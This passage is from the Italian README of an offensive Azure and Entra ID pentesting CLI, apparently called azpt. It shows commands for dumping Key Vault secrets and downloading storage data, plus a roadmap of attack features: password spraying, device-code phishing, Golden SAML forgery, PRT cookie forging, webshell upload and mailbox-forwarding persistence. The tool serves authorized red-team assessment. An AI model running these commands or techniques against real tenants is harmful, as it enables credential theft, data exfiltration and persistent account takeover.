(nessuna dipendenza esterna, funziona completamente offline) che renderizza ogni nodo con la sua
reale **icona del servizio Azure**. Include:

- un **grafo force-directed** con zoom/pan, una minimappa, "zone" di scope, un
  toggle chiaro/scuro, ed esportazione PNG/JSON;
- un pannello laterale a schede — **Attack Paths** (raggruppati per severità, con un
  comando exploit copiabile per ogni percorso), una **Overview** che mostra l'accesso
  effettivo completo del principal (sottoscrizioni con conteggi di risorse/high-value e stato,
  ruoli di directory, appartenenze a gruppi, e ogni assegnazione RBAC), un dump della **Directory**
  degli utenti / gruppi / service principal del tenant (quando il principal
  può leggere Graph — ad es. il ruolo *Directory Readers* — con un filtro live),
  dove cliccando su qualsiasi oggetto si apre un **drill-down** dei suoi attributi e ti permette di
  **fissarlo sul grafo** o **espandere un gruppo/ruolo ai suoi membri**, un
  inventario delle **Resources** raggruppato per tipo di servizio, **Queries** predefinite (raggiungi
  Key Vaults / Storage / SQL, enumera ruoli Owner·Contributor·data-plane·custom,
  ecc.), e una **Legend**;

Le relazioni di appartenenza (chi è in quale gruppo/ruolo) vengono raccolte solo con
`scan --deep`, che enumera inoltre i membri dei gruppi e dei ruoli di directory così
che la web app possa tracciare le catene identità → gruppo → accesso:```bash
./azpt scan --deep --html graph.html   # slower; enables expanding identities on the graph

### Key Vault — `vault`

Un Key Vault contiene **segreti, chiavi e certificati**. Vedere un vault tramite
`enum resources` (ARM) **non** implica l'accesso al data-plane — leggere il suo
contenuto richiede una policy di accesso al Key Vault (Get/List) o il ruolo RBAC
*Key Vault Secrets User*. Senza di esso si ottiene `403 Forbidden`, che è un segnale utile.```bash
# Full inventory: secrets, keys, and certificate names (no values)
./azpt vault list --vault ext-contractors

# Read one secret value
./azpt vault get --vault ext-contractors --secret db-connection-string

# Dump every secret value (the loot); redirect to a file with --json
./azpt vault dump --vault ext-contractors
./azpt --json vault dump --vault ext-contractors > vault-loot.json

Il firewall del server deve consentire il tuo IP di origine in ogni caso. I nomi delle tabelle in
`dump` vengono validati come identificatori semplici prima dell'uso (non possono essere
parametrizzati in T-SQL), quindi l'injection tramite `--table` non è possibile. `sql query` è **read-only per impostazione predefinita** — DROP/DELETE/UPDATE/EXEC/xp_cmdshell e altre istruzioni mutanti vengono rifiutate a meno che non venga passato `--allow-write`, così un assessment autorizzato non può distruggere dati accidentalmente.

### Archiviazione autenticata — `storage`

La controparte **autenticata** dei comandi anonimi `blob`: utilizza la tua
credenziale Entra ID (equivalente a `az storage ... --auth-mode login`) per raggiungere
container blob/blob **e Storage Tables**. Richiede un ruolo data-plane come
*Storage Blob Data Reader* o *Storage Table Data Reader* — vedere l'account
tramite `enum resources` (control plane) non lo concede; un `403` significa che ti manca
il ruolo dati.```bash
# Blobs
./azpt storage containers --account custdatabase
./azpt storage blobs      --account custdatabase --container backups
./azpt storage download   --account custdatabase --container backups --blob db.bacpac -o db.bacpac

# Storage Tables (often overlooked — can hold raw records)
./azpt storage tables   --account custdatabase
./azpt storage entities --account custdatabase --table customers
./azpt storage entities --account custdatabase --table customers --filter "PartitionKey eq '1'" --limit 100

I risultati sono ordinati dal più grave al meno grave nell'output tabellare.

---

## Architettura```
main.go
internal/
  recon/    unauthenticated outsider recon: realm, tenant, DNS posture,
            subdomain enum (wildcard-aware), user enum, password spray
  scan/     attack-path graph builder + self-contained Azure-themed HTML viz
  azauth/   credential chain, raw token acquisition (ARM + Graph), JWT claims
  azure/    SDK wrappers: subscriptions, resources, storage audit + data plane
            (blobs/tables), key vault, RBAC
  azsql/    Azure SQL client (Entra ID token or SQL login) — query/dump
  graph/    Microsoft Graph REST client (users, groups, SPs, apps, memberOf)
  blob/     anonymous Blob REST client (list/versions/download) + secret classifier
  audit/    pure detection rules over resource views -> findings
  model/    shared types: Resource, Finding, Severity, Report
  output/   JSON + human-readable table rendering
  cli/      cobra command tree, shared bootstrap()

I test del client blob esercitano il percorso reale di costruzione delle richieste e di parsing XML
contro un server `httptest` locale, inclusi l'enumerazione delle versioni, la paginazione
e il caso `403 PublicAccessNotPermitted` — senza bisogno di un account di archiviazione live.

---

## Roadmap

- [x] Outsider recon (solo dominio): realm, tenant ID, postura DNS, sottodomini
- [x] Enumerazione utenti + password spraying (Entra ID)
- [x] Audit dei gap di applicazione MFA (ROPC su risorse/client/User-Agent)
- [x] Auth basata su token: `--access-token` / `AZPT_TOKEN` + redemption refresh FOCI
- [x] Recupero token managed-identity via IMDS (endpoint VM + App Service)
- [x] Looting App Service: app settings, connection strings, credenziali Kudu
- [x] Enumerazione policy Conditional Access con flag dei gap (`enum ca`)
- [x] Enumerazione (ARM): sottoscrizioni, risorse
- [x] Enumerazione (Graph): utenti, gruppi, service principal, app, org, whoami
- [x] Access review: `enum access` — scope dei token, ruoli directory, gruppi, RBAC
- [x] Secrets: Key Vault — elenca secret/key/cert, leggi + dump dei valori dei secret
- [x] Accesso ai dati: Azure SQL — auth Entra ID o SQL, list/query/dump
- [x] Accesso ai dati: storage autenticato — blob + Storage Tables
- [x] Audit: account di archiviazione
- [x] Attacchi blob anonimi: check, list, enumerazione versioni, hunt, download
- [ ] Graph: espansione RBAC ereditata dai gruppi (base per privesc)
- [x] Brute-forcing anonimo di account di archiviazione / container (`blob brute`)
- [x] Controlli dangling-DNS subdomain-takeover (`recon takeover`)
- [x] Audit: esposizione internet NSG + IP pubblici (`audit network`)
- [x] Audit: accesso pubblico / purge / policy Key Vault + igiene RBAC (`audit keyvault`/`rbac`)
- [x] Secrets: chiavi storage/SAS, runbook/variabili automation, cronologia deployment, VM RunCommand
- [x] `scan`: grafo attack-path in stile BloodHound (testo + JSON + HTML) che unisce
      Entra ID (gruppi/ruoli) con ARM RBAC + risorse
- [x] Correttezza: paginazione nextLink ARM/Graph, backoff 429/Retry-After, cloud sovrani (`--cloud`)
- [x] Entra loot: recupero chiavi Windows LAPS e BitLocker, enum OAuth-grant (consenso illecito)
- [x] Utility `token decode` (claim + mapping wids→ruolo directory)
- [x] ARM elevate-access (Global Admin → User Access Administrator del tenant-root)
- [x] Scritture di persistenza Entra: add member/owner, consent grant, guest invite, creazione TAP
- [x] Percorsi dynamic-group auto-joinable collegati al grafo privesc di `scan`
- [x] Outsider recon di profondità AADInternals (`recon tenantinfo`: federation / Seamless SSO / sync on-prem)
- [x] Hunt di identità stale/rischiose (`enum risky`); enum dispositivi Intune + RCE via script-push (`intune`)
- [x] Persistenza: crea app+SP+secret, reset password (account takeover)
- [x] Export BloodHound CE OpenGraph (`scan --bloodhound`)
- [x] Grafo di privilege-escalation Entra + ARM in `scan` (SP/app/gruppo posseduto → Global Admin)
- [x] Contenuto data-plane: peek code di archiviazione, file di file-share
- [x] Privilege escalation Entra: enum app-role Graph pericolosi + abuso credenziali app/SP
- [x] Enumerazione ruoli directory privilegiati + PIM-eligible
- [x] Resource loot: chiavi Function, export disk/snapshot, APIM, Logic Apps, Data Factory
- [x] Ampiezza data-plane: file share/code di archiviazione; M365 mail/OneDrive/SharePoint
- [x] Ampiezza servizi: AKS (kubeconfig cluster-admin), loot chiavi Cosmos/ACR/Redis/ServiceBus/EventHub/Cognitive/Batch/AppConfig
- [x] Espansione interattiva delle catene transitive di gruppi nella web app (`--deep` ricorsivo)
- [x] Flusso di phishing device-code (`mfa devicecode`)
- [x] Findings/MFA mostrati nella web app di scan (scheda Findings di `scan --audit`)
- [x] Rilevamento azioni pericolose di custom-role tramite actions/dataActions della definizione del ruolo
- [x] Enumerazione Administrative Unit e abuso di ruoli con scope AU (concatenato con gruppi dinamici → score 80)
- [x] Aggiornamento profilo utente per abuso di gruppi dinamici (`entra update-profile`)
- [x] Listing container blob con token SAS (`blob containers --sas`)
- [x] Generazione pattern username per recon (`recon users --first --last --domain`)
- [x] Accesso data-plane Cosmos DB (list/dump/table)
- [x] Loot, exec e furto token managed-identity di Container App
- [x] Chiavi IoT Hub, device registry e RCE direct-method
- [x] Ripristino backup Recovery Services (exfil offline del disco)
- [x] Enumerazione e query server PostgreSQL/MySQL
- [x] Mapping managed identity (`enum identities`), deleghe Lighthouse, IP pubblici
- [x] Scansione approfondita `scan --loot`: chiavi Function App, kubeconfig AKS, password LAPS, chiavi BitLocker, secret APIM, regole firewall DB, snapshot disco, ruoli RBAC custom con wildcard, credenziali SP stale, definizioni Logic App
- [x] Auth service principal basata su certificato (`--certificate` PFX/PEM)
- [x] Upload file Kudu VFS (`webapp deploy`) per il deployment di webshell
- [x] Listing estensioni VM (leak di credenziali Custom Script Extension)
- [x] Enumerazione utenti sincronizzati on-premises con Security Identifier (`enum synced`)
- [x] Parametri dei workflow Logic App (secret standalone separati dalla definizione)
- [x] Enumerazione Power Platform / Dataverse (ambienti, canvas app, listing tabelle, query OData)
- [x] Estrazione cache token MSAL (`token extract` — refresh + access token da `.azure/msal_token_cache.json`)
- [x] Ampiezza M365: dump messaggi Teams, ricerca mail/file, scansione automatica dei secret (`m365 scan`)
- [x] Enumerazione e abuso Azure DevOps: service connection, variable group, anteprima YAML pipeline, esecuzione reale pipeline + build log (`devops`)
- [x] RCE ARM `deploymentScripts` via container ACI transitorio, con attach managed-identity (`arm deploy-script`)
- [x] Primitive ARM privesc/persistenza: assegnazione ruolo RBAC self/backdoor, attach identity user-assigned (`persistence`)
- [x] Collegamento attack-graph AKS: nodo identity kubelet + relativo RBAC (ACR pull, ecc.) mostrati come attack path con score, rilevamento postura auth (private/AAD/Azure RBAC/local-accounts-disabled)
- [x] Accesso diretto all'API Kubernetes da un kubeconfig rubato (`k8s` — secret, service account, pod, enumerazione privesc RBAC, exec pod non interattivo, minting token service-account)
- [x] Pivot Azure Workload Identity: scambio di un token service-account federato rubato con un vero access token Azure AD senza alcun secret (`k8s pivot-azure`)
- [x] Query Azure Resource Graph (KQL): KQL arbitrario (`enum kql`) + listing dell'estate con query singola (`enum resources --fast`)
- [x] Harvesting credenziali locali (`harvest`): az CLI (`accessTokens.json`, `azureProfile.json`, `service_principal_entries.json`, cache MSAL) e Az PowerShell (`AzureRmContext.json`, DPAPI `TokenCache.dat` su Windows)
- [x] Abuso PRT (`prt`): forge del cookie SSO `x-ms-RefreshTokenCredential` KDF v2 da un PRT + session key, catena completa nonce→cookie→authorize→token; estrazione on-host di BrowserCore.exe (Windows)
- [x] Registrazione dispositivo (`device register`): join rogue-device DRS → cert/key del dispositivo (prerequisito PRT, bypass CA basato su dispositivo, persistenza)
- [x] Attacchi federation (`federation`): backdoor managed→federated (`ConvertTo-AADIntBackdoor`) + forgery Golden SAML e redemption SAML-bearer (XML-DSig validato contro un'implementazione indipendente)
- [x] Iniezione app di consent-phishing OAuth (`entra phish-app`): app multi-tenant + URL di consenso + catcher locale di token su reply-URL (`Invoke-InjectOAuthApp`)
- [x] Persistenza mailbox (`m365 rules`): regole silenziose di inoltro inbox via Graph `messageRules`
- [x] Modello directory offline (`scan dump`/`scan query`): directory completa + attack graph in SQLite pure-Go (`modernc.org/sqlite`), 13 viste analitiche predefinite
- [x] Helper on-host Windows: estrazione cookie PRT via BrowserCore (`prt extract`), dump sync-credential AD Connect (`adconnect sync-creds`), DPAPI (`CryptUnprotectData`) — build-tagged, guida no-op fuori da Windows
- [ ] `prt request`: ottenere un PRT reale da un dispositivo registrato (concatena registrazione dispositivo → cookie KDF v2)
- [ ] Silver ticket Kerberos Seamless SSO; registrazione chiave WHfB
- [ ] *Decryption* delle sync-credential AD Connect (attualmente esegue il dump del blob cifrato → passaggio ad AADInternals)

---

## Licenza

Rilasciato sotto [MIT License](https://github.com/hac01/azure-pentesting-suite/blob/main/LICENSE).

`azpt` è uno strumento di sicurezza offensiva destinato esclusivamente a test autorizzati.
Usalo esclusivamente contro tenant e sottoscrizioni di tua proprietà o per cui hai esplicito
permesso scritto di valutazione. Sei responsabile di come lo utilizzi.